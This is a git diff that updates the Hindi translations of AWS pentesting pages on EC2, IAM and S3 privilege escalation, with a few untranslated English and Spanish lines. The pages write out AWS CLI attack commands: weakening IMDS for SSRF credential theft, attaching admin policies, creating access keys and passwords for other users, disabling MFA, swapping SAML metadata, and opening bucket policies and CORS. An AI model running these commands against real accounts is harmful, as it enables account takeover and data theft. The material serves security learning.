instance metadata endpoint उन applications से आम SSRF/proxy रास्तों के माध्यम से पहुंच योग्य बन जाता है जो instance पर चल रही हैं। यदि हमलावर ऐसे किसी ऐप में SSRF ट्रिगर कर सके, तो वे instance profile credentials निकाल सकते हैं और उनका उपयोग करके pivot कर सकते हैं। -- आवश्यक permissions: `ec2:ModifyInstanceMetadataOptions` on the target instance (plus the ability to reach/trigger a SSRF on the host). -- Target resource: चल रहा EC2 instance जिसमें attached instance profile (IAM role) हो। +- आवश्यक अनुमतियाँ: `ec2:ModifyInstanceMetadataOptions` लक्षित instance पर (साथ ही host पर SSRF पहुँचाने/trigger करने की क्षमता)। +- लक्षित संसाधन: चालू EC2 instance जिस पर attached instance profile (IAM role) हो। -कमांड का उदाहरण: +कमांड्स का उदाहरण: ```bash # 1) Check current metadata settings aws ec2 describe-instances --instance-id \ @@ -296,11 +296,11 @@ aws sts get-caller-identity aws ec2 modify-instance-metadata-options --instance-id \ --http-tokens required --http-put-response-hop-limit 1 ``` -संभावित प्रभाव: SSRF के माध्यम से instance profile क्रेडेंशियल्स की चोरी, जो EC2 role permissions के साथ privilege escalation और lateral movement का कारण बन सकती है। +संभावित प्रभाव: SSRF के माध्यम से instance profile credentials की चोरी, जिससे privilege escalation और lateral movement EC2 role permissions के साथ संभव हो सकते हैं। ### `ec2:ModifyInstanceMetadataOptions` -ec2:ModifyInstanceMetadataOptions permission वाला attacker Instance Metadata Service (IMDS) की सुरक्षा कमजोर कर सकता है — उदाहरण के लिए IMDSv1 को मजबूर करके (HttpTokens required न बनाकर) या HttpPutResponseHopLimit बढ़ाकर — जिससे अस्थायी क्रेडेंशियल्स का exfiltration आसान हो जाता है। सबसे प्रासंगिक जोखिम वेक्टर HttpPutResponseHopLimit बढ़ाना है: उस hop limit (TTL) को बढ़ाने पर 169.254.169.254 endpoint VM के network namespace तक सख्ती से सीमित रहना बंद कर देता है और अन्य processes/containers द्वारा पहुँच योग्य हो सकता है, जिससे credentials की चोरी संभव हो जाती है। +एक अटैकर जिसके पास ec2:ModifyInstanceMetadataOptions permission है, वह Instance Metadata Service (IMDS) की सुरक्षा कमज़ोर कर सकता है — उदाहरण के लिए IMDSv1 को मजबूर करके (HttpTokens को अनिवार्य नहीं बनाकर) या HttpPutResponseHopLimit बढ़ाकर — इस तरह अस्थायी credentials के exfiltration को आसान बना देता है। सबसे प्रासंगिक जोखिम वैक्टर HttpPutResponseHopLimit बढ़ाना है: उस hop limit (TTL) को बढ़ाने से, 169.254.169.254 endpoint VM के network namespace तक कड़ाई से सीमित रहना बंद कर देता है और अन्य processes/containers द्वारा पहुँचा जा सकता है, जिससे credential चोरी संभव होती है। ```bash aws ec2 modify-instance-metadata-options \ --instance-id \ @@ -310,13 +310,15 @@ aws ec2 modify-instance-metadata-options \ ``` ### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute` -ec2:ModifyImageAttribute और ec2:ModifySnapshotAttribute permissions वाले attacker अन्य AWS खातों के साथ AMIs या snapshots साझा कर सकते हैं (या उन्हें सार्वजनिक भी कर सकते हैं), जिससे images या volumes उजागर हो सकते हैं जिनमें configurations, credentials, certificates, या backups जैसे संवेदनशील डेटा हो सकते हैं। एक AMI की launch permissions या एक snapshot की create-volume permissions को संशोधित करके, attacker तृतीय पक्षों को उन resources से instances launch करने या disks mount करने और उनके contents तक पहुँचने की अनुमति देता है। +ec2:ModifyImageAttribute और ec2:ModifySnapshotAttribute अनुमतियाँ वाले एक हमलावर AMIs या snapshots को अन्य AWS खातों के साथ साझा कर सकता है (या उन्हें सार्वजनिक भी कर सकता है), जिससे ऐसी images या volumes उजागर हो सकती हैं जिनमें configurations, credentials, certificates, या backups जैसे संवेदनशील डेटा हो सकते हैं। -किसी अन्य खाते के साथ AMI साझा करने के लिए: +एक AMI की launch permissions या किसी snapshot की create-volume permissions को बदलकर, हमलावर तीसरे पक्षों को उन संसाधनों से instances लॉन्च करने या डिस्क माउंट करने और उनके कंटेंट तक पहुँचने की अनुमति देता है। + +एक AMI को दूसरे खाते के साथ साझा करने के लिए: ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` -EBS snapshot को किसी अन्य खाते के साथ साझा करने के लिए: +EBS snapshot को किसी अन्य account के साथ साझा करने के लिए: ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index db933eb5c..3b84e31cc 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -12,24 +12,24 @@ IAM के बारे में अधिक जानकारी के ल ### **`iam:CreatePolicyVersion`** -नया IAM policy version बनाने की क्षमता प्रदान करता है, `iam:SetDefaultPolicyVersion` permission की आवश्यकता को `--set-as-default` flag का उपयोग करके बायपास करते हुए। यह कस्टम permissions को परिभाषित करने में सक्षम बनाता है। +एक नया IAM policy version बनाने की क्षमता देता है, bypassing the need for `iam:SetDefaultPolicyVersion` permission by using the `--set-as-default` flag. यह कस्टम permissions परिभाषित करने में सक्षम बनाता है। **Exploit Command:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**प्रभाव:** किसी भी resource पर किसी भी action को अनुमति देकर सीधे privileges को escalate करता है। +**प्रभाव:** किसी भी संसाधन पर किसी भी क्रिया की अनुमति देकर प्रत्यक्ष रूप से privileges बढ़ाता है। ### **`iam:SetDefaultPolicyVersion`** -यह किसी IAM policy के default version को किसी अन्य existing version में बदलने की अनुमति देता है, जो संभावित रूप से privileges को escalate कर सकता है यदि नए version में अधिक permissions हों। +IAM policy के डिफ़ॉल्ट वर्शन को किसी अन्य मौजूदा वर्शन में बदलने की अनुमति देता है, जो कि नए वर्शन में अधिक permissions होने पर संभावित रूप से privileges बढ़ा सकता है। -**Bash Command:** +**Bash कमांड:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**प्रभाव:** अप्रत्यक्ष privilege escalation — अधिक permissions सक्षम करने से। +**प्रभाव:** अधिक permissions सक्षम करने से अप्रत्यक्ष privilege escalation होता है। ### **`iam:CreateAccessKey`** @@ -39,11 +39,11 @@ aws iam set-default-policy-version --policy-arn --version-id ```bash aws iam create-access-key --user-name ``` -**प्रभाव:** किसी अन्य उपयोगकर्ता की विस्तारित अनुमतियाँ धारण करके Direct privilege escalation। +**Impact:** किसी अन्य उपयोगकर्ता के विस्तारित permissions को अपनाकर सीधे privilege escalation। ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -लॉगिन प्रोफ़ाइल बनाने या अपडेट करने की अनुमति देता है, जिसमें AWS console login के लिए पासवर्ड सेट करना शामिल है, जो direct privilege escalation की ओर ले जाता है। +login profile बनाने या अपडेट करने की अनुमति देता है, जिसमें AWS console login के लिए पासवर्ड सेट करना शामिल है, जो सीधे privilege escalation की ओर ले जाता है। **Exploit for Creation:** ```bash @@ -55,51 +55,51 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**प्रभाव:** "any" user के रूप में लॉग इन करके सीधे privilege escalation. +**Impact:** किसी भी user के रूप में लॉगिन करके सीधे privilege escalation। ### **`iam:UpdateAccessKey`** -निष्क्रिय access key को सक्षम करने की अनुमति देता है, जो संभावित रूप से unauthorized access का कारण बन सकता है यदि attacker के पास वह निष्क्रिय key हो। +निष्क्रिय access key को सक्रिय करने की अनुमति देता है, जिससे संभवतः अनधिकृत पहुँच हो सकती है यदि attacker के पास वह निष्क्रिय access key मौजूद हो। **Exploit:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**प्रभाव:** access keys को पुनः सक्रिय करके प्रत्यक्ष privilege escalation। +**प्रभाव:** एक्सेस कुंजियाँ पुनः सक्रिय करके सीधे privilege escalation संभव। ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -विशिष्ट AWS सेवाओं (उदा., CodeCommit, Amazon Keyspaces) के लिए credentials जनरेट या रिसेट करने की अनुमति देता है, जो संबंधित उपयोगकर्ता की permissions को विरासत में लेते हैं। +विशिष्ट AWS सेवाओं (उदा., CodeCommit, Amazon Keyspaces) के लिए क्रेडेंशियल्स उत्पन्न करने या रीसेट करने की अनुमति देता है, जो संबद्ध उपयोगकर्ता की अनुमतियाँ प्राप्त करते हैं। **Exploit for Creation:** ```bash aws iam create-service-specific-credential --user-name --service-name ``` -**रीसेट के लिए Exploit:** +**Reset के लिए Exploit:** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**प्रभाव:** Direct privilege escalation उपयोगकर्ता की सेवा अनुमतियों के भीतर। +**Impact:** उपयोगकर्ता की सेवा अनुमतियों के भीतर सीधे privilege escalation। ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -यह उपयोगकर्ताओं या समूहों पर नीतियाँ अटैच करने की अनुमति देता है, संलग्न नीति की अनुमतियों को ग्रहण करके सीधे privileges बढ़ा देता है। +यह उपयोगकर्ताओं या समूहों पर नीतियाँ संलग्न करने की अनुमति देता है, और संलग्न नीति की अनुमतियाँ प्राप्त करके सीधे अधिकार बढ़ा देता है। -**Exploit उपयोगकर्ता के लिए:** +**Exploit for User:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` -**Group के लिए Exploit:** +**समूह के लिए Exploit:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**प्रभाव:** नीति द्वारा दिए गए किसी भी अधिकार तक सीधे privilege escalation। +**प्रभाव:** नीति द्वारा प्रदान किए गए किसी भी अधिकार पर प्रत्यक्ष privilege escalation। ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -यह रोल, उपयोगकर्ता, या समूहों पर नीतियाँ संलग्न (attach) या जोड़ने (put) की अनुमति देता है, जिससे अतिरिक्त अनुमतियाँ प्रदान करके सीधे privilege escalation संभव होता है। +यह roles, users, या groups पर नीतियाँ attach/put करने की अनुमति देता है, जिससे अतिरिक्त अनुमतियाँ देकर सीधे privilege escalation संभव हो जाता है। -**Exploit for Role:** +Role के लिए Exploit: ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` @@ -114,7 +114,7 @@ aws iam put-group-policy --group-name --policy-name "" aws iam put-role-policy --role-name --policy-name "" \ --policy-document file:///path/to/policy.json ``` -आप इस तरह की नीति का उपयोग कर सकते हैं: +आप निम्नलिखित नीति का उपयोग कर सकते हैं: ```json { "Version": "2012-10-17", @@ -127,28 +127,28 @@ aws iam put-role-policy --role-name --policy-name "" \ ] } ``` -**प्रभाव:** नीतियों के माध्यम से अनुमतियाँ जोड़कर सीधे privilege escalation। +**प्रभाव:** नीतियों के माध्यम से permissions जोड़कर सीधे privilege escalation होता है। ### **`iam:AddUserToGroup`** -खुद को एक IAM group में जोड़ने की अनुमति देता है, जिससे समूह की अनुमतियाँ inherit करके privileges escalate हो जाते हैं। +खुद को एक IAM group में जोड़ने की अनुमति देता है, समूह की permissions को inherit करके privileges escalate हो जाते हैं। **Exploit:** ```bash aws iam add-user-to-group --group-name --user-name ``` -**Impact:** समूह के permissions के स्तर तक Direct privilege escalation। +**प्रभाव:** सीधे समूह की permissions के स्तर तक privilege escalation। ### **`iam:UpdateAssumeRolePolicy`** -यह किसी role के assume role policy document को बदलने की अनुमति देता है, जिससे उस role और उससे संबंधित permissions को assume करना संभव हो जाता है। +एक role के assume role policy document को बदलने की अनुमति देता है, जिससे उस role को assume करने और उससे जुड़ी permissions का उपयोग करने में सक्षम होता है। **Exploit:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -जहाँ पॉलिसी निम्नलिखित जैसी दिखती है, जो उपयोगकर्ता को भूमिका ग्रहण करने की अनुमति देती है: +जहाँ पॉलिसी नीचे दिखाए अनुसार है, जो उपयोगकर्ता को उस रोल को assume करने की अनुमति देती है: ```json { "Version": "2012-10-17", @@ -163,17 +163,17 @@ aws iam update-assume-role-policy --role-name \ ] } ``` -**Impact:** किसी भी role की permissions को assume करके सीधे privilege escalation। +**Impact:** किसी भी role की permissions को assume करके Direct privilege escalation संभव। ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -यह CodeCommit के लिए authenticate करने हेतु SSH public key अपलोड करने और MFA devices को deactivate करने की अनुमति देता है, जिससे संभावित indirect privilege escalation हो सकता है। +CodeCommit के लिए authenticating हेतु SSH public key अपलोड करने और MFA devices को deactivate करने की अनुमति देता है, जिससे संभावित indirect privilege escalation हो सकता है। **Exploit for SSH Key Upload:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` -**MFA निष्क्रियकरण के लिए Exploit:** +**Exploit के लिए MFA निष्क्रियकरण:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` @@ -181,20 +181,20 @@ aws iam deactivate-mfa-device --user-name --serial-number --serial-number \ --authentication-code1 --authentication-code2 ``` -**Impact:** अप्रत्यक्ष privilege escalation — MFA devices जोड़कर या उन्हें बदलकर। +**प्रभाव:** MFA devices को जोड़ने या हेरफेर करने से अप्रत्यक्ष privilege escalation। ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -इन permissions के साथ आप **SAML connection के XML metadata को बदल** सकते हैं। फिर, आप **SAML federation** का दुरुपयोग करके किसी भी **role** के साथ **login** कर सकते हैं जो उस पर trust करता है। +इन अनुमतियों के साथ आप **SAML connection के XML metadata को बदल** सकते हैं। फिर, आप **SAML federation** का दुरुपयोग करके किसी भी **role जो उसे ट्रस्ट कर रहा हो** के साथ **login** कर सकते हैं। -ध्यान दें कि ऐसा करने पर **legit users won't be able to login**। हालाँकि, आप XML प्राप्त कर सकते हैं, इसलिए आप अपना डालकर login कर सकते हैं और पहले वाले को फिर से configure कर सकते हैं। +ध्यान दें कि ऐसा करने पर **legit users won't be able to login**। हालांकि, आप XML प्राप्त कर सकते हैं, अपना XML डालकर **login** कर सकते हैं और फिर पहले वाले को वापस कॉन्फ़िगर कर सकते हैं। ```bash # List SAMLs aws iam list-saml-providers @@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` > [!NOTE] -> TODO: एक ऐसा टूल जो SAML metadata जेनरेट कर सके और निर्दिष्ट role के साथ login कर सके +> TODO: एक Tool जो SAML metadata जनरेट करने और एक निर्दिष्ट role के साथ login करने में सक्षम हो ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Unsure about this) यदि एक attacker के पास ये **permissions** हों, तो वह एक नया **Thumbprint** जोड़ सकता है जिससे वह उस provider पर भरोसा करने वाले सभी roles में login कर सके। +(इस बारे में सुनिश्चित नहीं) यदि किसी attacker के पास ये **permissions** हों तो वह provider पर trust करने वाले सभी **roles** में login करने के लिए नया **Thumbprint** जोड़ सकता है। ```bash # List providers aws iam list-open-id-connect-providers @@ -226,7 +226,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar ``` ### `iam:PutUserPermissionsBoundary` -यह permission attacker को किसी user के permissions boundary को अपडेट करने की अनुमति देता है, संभावित रूप से उनकी privileges escalate करते हुए उन्हें उन actions की अनुमति देकर जो सामान्यतः उनकी मौजूदा permissions द्वारा प्रतिबंधित होते हैं। +यह permission एक attacker को किसी user की permissions boundary को अपडेट करने की अनुमति देता है, जिससे संभावित रूप से उनके privileges escalate हो सकते हैं और वे उन actions को कर पाएंगे जो सामान्यतः उनके existing permissions द्वारा प्रतिबंधित होते हैं। ```bash aws iam put-user-permissions-boundary \ --user-name \ @@ -249,7 +249,7 @@ Un ejemplo de una política que no aplica ninguna restricción es: ``` ### `iam:PutRolePermissionsBoundary` -जिसके पास iam:PutRolePermissionsBoundary अनुमति है, वह मौजूदा role पर permissions boundary सेट कर सकता है। जोखिम तब उत्पन्न होता है जब इस अनुमति वाला व्यक्ति किसी role की boundary बदलता है: वह संचालन को अनुचित रूप से प्रतिबंधित कर सकता है (जिससे service disruption हो सकता है) या, यदि वह permissive boundary संलग्न करता है, तो प्रभावी रूप से role की क्षमताओं का विस्तार कर सकता है और privileges escalate कर सकता है। +iam:PutRolePermissionsBoundary अनुमति रखने वाला व्यक्ति किसी मौजूदा role पर permissions boundary सेट कर सकता है। जोखिम तब उत्पन्न होता है जब इस अनुमति वाला कोई role की boundary बदलता है: वे संचालन को अनुचित रूप से सीमित कर सकते हैं (जिससे service disruption हो सकता है) या, अगर वे एक permissive boundary अटैच करते हैं, तो प्रभावी रूप से role की क्षमताओं का विस्तार कर सकते हैं और escalate privileges कर सकते हैं। ```bash aws iam put-role-permissions-boundary \ --role-name \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md index 88d887c1c..cdaf76b75 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md @@ -6,9 +6,9 @@ ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` -उन रुचिकर buckets पर उन permissions वाले attacker resources को hijack कर के privileges escalate कर सकता है। +उन permissions वाले attacker जिनके पास रोचक buckets पर अधिकार हैं, वे resources को hijack कर सकते हैं और privileges escalate कर सकते हैं। -उदाहरण के लिए, "cf-templates-nohnwfax6a6i-us-east-1" नामक **permissions over a cloudformation bucket** वाले attacker deployment को hijack करने में सक्षम होगा। निम्नलिखित policy से access दिया जा सकता है: +उदाहरण के लिए, 'cf-templates-nohnwfax6a6i-us-east-1' नामक एक cloudformation bucket पर उन **permissions over a cloudformation bucket** वाले attacker deployment को hijack कर सकेंगे। यह access निम्नलिखित policy के साथ दिया जा सकता है: ```json { "Version": "2012-10-17", @@ -34,29 +34,30 @@ ] } ``` -और hijack इसलिए संभव है क्योंकि template को bucket में upload किए जाने के क्षण से लेकर template के deploy होने तक एक **छोटी समय विंडो** होती है। एक attacker अपने account में एक **lambda function** बना सकता है जो **bucket notification भेजे जाने पर trigger** होगा, और उस **bucket** की **content** को **hijacks** कर लेगा। +And the hijack is possible because there is a **template के bucket में upload होने के पल से लेकर template के deploy होने तक का छोटा समय अंतराल**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**. ![](<../../../images/image (174).png>) -The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) का उपयोग इस attack को automate करने के लिए किया जा सकता है।\ -अधिक जानकारी के लिए मूल research देखें: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) +The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\ +For more information check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) ### `s3:PutObject`, `s3:GetObject` -ये permissions हैं जो **S3 में objects को प्राप्त और अपलोड करने** के लिए होती हैं। AWS के अंदर (और बाहर) कई services S3 storage को **config फ़ाइलें** स्टोर करने के लिए उपयोग करती हैं।\ -अगर किसी attacker को इन पर **read access** है तो वह इनमें **sensitive information** पा सकता है।\ -और अगर किसी attacker के पास इन पर **write access** है तो वह **data को modify करके किसी service का दुरुपयोग कर सकता है और privileges escalate करने की कोशिश कर सकता है**।\ -ये कुछ उदाहरण हैं: +These are the permissions to **S3 में objects को प्राप्त और अपलोड करने के लिए**. Several services inside AWS (and outside of it) use S3 storage to store **कॉन्फ़िग फाइलें**.\ +An attacker with **पढ़ने की अनुमति (read access)** to them might find **संवेदनशील जानकारी** on them.\ +An attacker with **लिखने की अनुमति (write access)** to them could **डेटा को modify करके किसी service का दुरुपयोग कर के privileges escalate करने की कोशिश कर सकता है**.\ +These are some examples: -- अगर कोई EC2 instance **user data in a S3 bucket** स्टोर कर रहा है, तो attacker इसे modify करके **execute arbitrary code inside the EC2 instance** करवा सकता है। +- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **EC2 instance के अंदर arbitrary code execute करने के लिए तैयार कर देना**. ### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file -यह बहुत सामान्य है कि [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state फाइलें cloud providers के blob storage में सेव की जाती हैं, जैसे AWS S3। state फाइल का suffix `.tfstate` होता है, और bucket के नाम अक्सर संकेत देते हैं कि वे terraform state files contain करते हैं। आमतौर पर हर AWS account में ऐसे state files स्टोर करने के लिए एक bucket होता है जो account की state दिखाते हैं। रियल-वर्ल्ड accounts में अक्सर अधिकांश developers के पास `s3:*` और कभी-कभी business users के पास भी `s3:Put*` permissions होते हैं। +It is very common that the [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files are being saved to blob storage of cloud providers, e.g. AWS S3. The file suffix for a state file is `.tfstate`, and the bucket names often also give away that they contain terraform state files. Usually, every AWS account has one such bucket to store the state files that show the state of the account. +Also usually, in real world accounts almost always all developers have `s3:*` and sometimes even business users have `s3:Put*`. -तो, यदि आपके पास इन फाइलों पर सूचीबद्ध permissions हैं, तो एक attack vector मौजूद है जो आपको pipeline में `terraform` की privileges के साथ RCE पाने का मौका देता है — अधिकांश मामलों में `AdministratorAccess`, जिससे आप cloud account के admin बन सकते हैं। आप इस vector का उपयोग `terraform` को legitimate resources delete करवाकर denial of service attack करने के लिए भी कर सकते हैं। +So, if you have the permissions listed over these files, there is an attack vector that allows you to gain RCE in the pipeline with the privileges of `terraform` - most of the time `AdministratorAccess`, making you the admin of the cloud account. Also, you can use that vector to do a denial of service attack by making `terraform` delete legitimate resources. -सीधा उपयोग करने योग्य exploit code के लिए *Abusing Terraform State Files* सेक्शन को *Terraform Security* पेज में देखें: +Follow the description in the *Abusing Terraform State Files* section of the *Terraform Security* page for directly usable exploit code: {{#ref}} ../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files @@ -64,7 +65,7 @@ The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/ ### `s3:PutBucketPolicy` -एक attacker, जिसे **same account** का होना चाहिए, अन्यथा error `The specified method is not allowed will trigger` दिखेगा, इस permission के साथ अपने लिए bucket(s) पर अधिक permissions grant कर सकता है जो उसे buckets को read, write, modify, delete और expose करने की अनुमति देते हैं। +An attacker, that needs to be **from the same account**, if not the error `The specified method is not allowed will trigger`, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -122,8 +123,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -150,7 +151,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ``` ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -एक attacker इन permissions का दुरुपयोग करके buckets के specific objects पर अपने लिए अधिक access दे सकता है। +एक attacker इन permissions का दुरुपयोग करके buckets के specific objects पर अपने लिए अधिक access प्राप्त कर सकता है। ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag @@ -177,16 +178,16 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ``` ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` -इन विशेषाधिकारों वाले हमलावर को किसी विशिष्ट object version पर Acl लगाने में सक्षम माना जाता है। +An attacker with these privileges से अपेक्षा की जाती है कि वह किसी specific object version पर Acl लगा सके। ```bash aws s3api get-object-acl --bucket --key flag aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json ``` ### `s3:PutBucketCORS` -s3:PutBucketCORS permission वाले attacker किसी bucket की CORS (Cross-Origin Resource Sharing) configuration को बदल सकते हैं, जो नियंत्रित करती है कि कौन से web domains उसके endpoints तक access कर सकते हैं। यदि वे एक permissive policy सेट कर दें, तो कोई भी website सीधे bucket को requests भेज सकती है और browser से responses पढ़ सकती है। +जिसके पास s3:PutBucketCORS permission है, एक हमलावर bucket की CORS (Cross-Origin Resource Sharing) कॉन्फ़िगरेशन को बदल सकता है, जो नियंत्रित करती है कि कौन से वेब डोमेन इसके endpoints तक पहुँच सकते हैं। यदि वे एक permissive नीति सेट करते हैं, तो कोई भी वेबसाइट सीधे bucket को अनुरोध भेज सकती है और ब्राउज़र से प्रतिक्रियाएँ पढ़ सकती है। -इसका अर्थ है कि संभावित रूप से, यदि bucket से hosted किसी web app का authenticated user attacker की website पर जाता है, तो attacker permissive CORS policy का फायदा उठा सकता है और, application पर निर्भर करते हुए, user के profile डेटा तक पहुँच सकता है या यहाँ तक कि user का account hijack कर सकता है। +इसका मतलब यह है कि संभावित रूप से, यदि bucket से होस्ट की गई किसी वेब ऐप का प्रमाणीकृत उपयोगकर्ता हमलावर की वेबसाइट पर जाता है, तो हमलावर permissive CORS नीति का शोषण कर सकता है और, एप्लिकेशन पर निर्भर करते हुए, उपयोगकर्ता के प्रोफ़ाइल डेटा तक पहुँच सकता है या यहाँ तक कि उपयोगकर्ता के खाते पर कब्ज़ा कर सकता है। ```bash aws s3api put-bucket-cors \ --bucket \ diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md index 3e01448b9..e3ffd716e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/README.md @@ -6,33 +6,27 @@ ### कंटेनर सेवाएँ -कंटेनर सेवाओं के अंतर्गत आने वाली सेवाओं की निम्नलिखित विशेषताएँ होती हैं: +कंटेनर सेवाओं के तहत आने वाली सेवाओं की निम्नलिखित विशेषताएँ होती हैं: -- सेवा स्वयं **अलग अवसंरचना इंस्टेंस** पर चलती है, जैसे EC2। -- **AWS** ऑपरेटिंग सिस्टम और प्लेटफ़ॉर्म के प्रबंधन के लिए जिम्मेदार है। -- AWS द्वारा एक प्रबंधित सेवा प्रदान की जाती है, जो आमतौर पर उन actual applications के लिए सेवा होती है जिन्हें containers के रूप में देखा जाता है। -- इन कंटेनर सेवाओं के उपयोगकर्ता के रूप में आपकी कई प्रबंधन और सुरक्षा जिम्मेदारियाँ होती हैं, जिनमें नेटवर्क एक्सेस सुरक्षा का प्रबंधन शामिल है, जैसे network access control list rules और कोई भी firewalls। -- साथ ही, जहाँ मौजूद हो वहाँ प्लेटफ़ॉर्म-स्तरीय identity and access management। -- **उदाहरण** के तौर पर AWS container services में Relational Database Service, Elastic Mapreduce, और Elastic Beanstalk शामिल हैं। +- सेवा स्वयं **अलग इंफ्रास्ट्रक्चर इंस्टेंस** पर चलती है, जैसे EC2। +- **AWS** ऑपरेटिंग सिस्टम और प्लेटफ़ॉर्म **प्रबंधित करने के लिए उत्तरदायी** है। +- एक managed service AWS द्वारा प्रदान की जाती है, जो आम तौर पर **वास्तविक एप्लिकेशन जिन्हें कंटेनर के रूप में देखा जाता है** वही होती है। +- इन कंटेनर सेवाओं के उपयोगकर्ता के रूप में आपकी कुछ प्रबंधन और सुरक्षा जिम्मेदारियाँ होती हैं, जिनमें **नेटवर्क एक्सेस सुरक्षा, जैसे network access control list नियम और किसी भी फायरवॉल का प्रबंधन** शामिल है। +- साथ ही, जहाँ मौजूद हो, प्लेटफ़ॉर्म-स्तरीय identity और access management। +- **Examples** of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk. ### अमूर्त सेवाएँ -- ये सेवाएँ प्लेटफ़ॉर्म या प्रबंधन परत से **हटा दी गईं, अमूर्त** होती हैं जिनके ऊपर cloud applications बनाए जाते हैं। -- सेवाओं तक AWS application programming interfaces, APIs के माध्यम से endpoints से पहुँच होती है। +- ये सेवाएँ **प्लेटफ़ॉर्म या मैनेजमेंट लेयर से अलग, अमूर्त** होती हैं जिस पर cloud एप्लिकेशन बनाए जाते हैं। +- सेवाएँ endpoints के माध्यम से AWS application programming interfaces, APIs के जरिए एक्सेस की जाती हैं। - **नीचे की अवसंरचना, ऑपरेटिंग सिस्टम, और प्लेटफ़ॉर्म AWS द्वारा प्रबंधित** किए जाते हैं। -- अमूर्त सेवाएँ एक multi-tenancy प्लेटफ़ॉर्म प्रदान करती हैं जहाँ नीचे की अवसंरचना साझा होती है। -- **डेटा सुरक्षा तंत्रों के माध्यम से अलग किया जाता है।** -- अमूर्त सेवाओं का IAM के साथ मजबूत एकीकरण होता है, और **उदाहरण** के रूप में S3, DynamoDB, Amazon Glacier, और SQS शामिल हैं। +- अमूर्त सेवाएँ एक multi-tenancy प्लेटफ़ॉर्म प्रदान करती हैं जिस पर नीचे की अवसंरचना साझा की जाती है। +- **डेटा को सुरक्षा तंत्रों के माध्यम से अलग किया जाता है।** +- Abstract services का IAM के साथ मजबूत एकीकरण होता है, और **examples** में S3, DynamoDB, Amazon Glacier, और SQS शामिल हैं। ## सेवाओं की सूची -**इस सेक्शन के पृष्ठ AWS service के अनुसार क्रमबद्ध हैं। वहाँ आप सेवा के बारे में जानकारी (यह कैसे काम करती है और इसकी क्षमताएँ) पा सकेंगे और वह आपको escalate privileges करने में सक्षम बनाएगी।** +**The pages of this section are 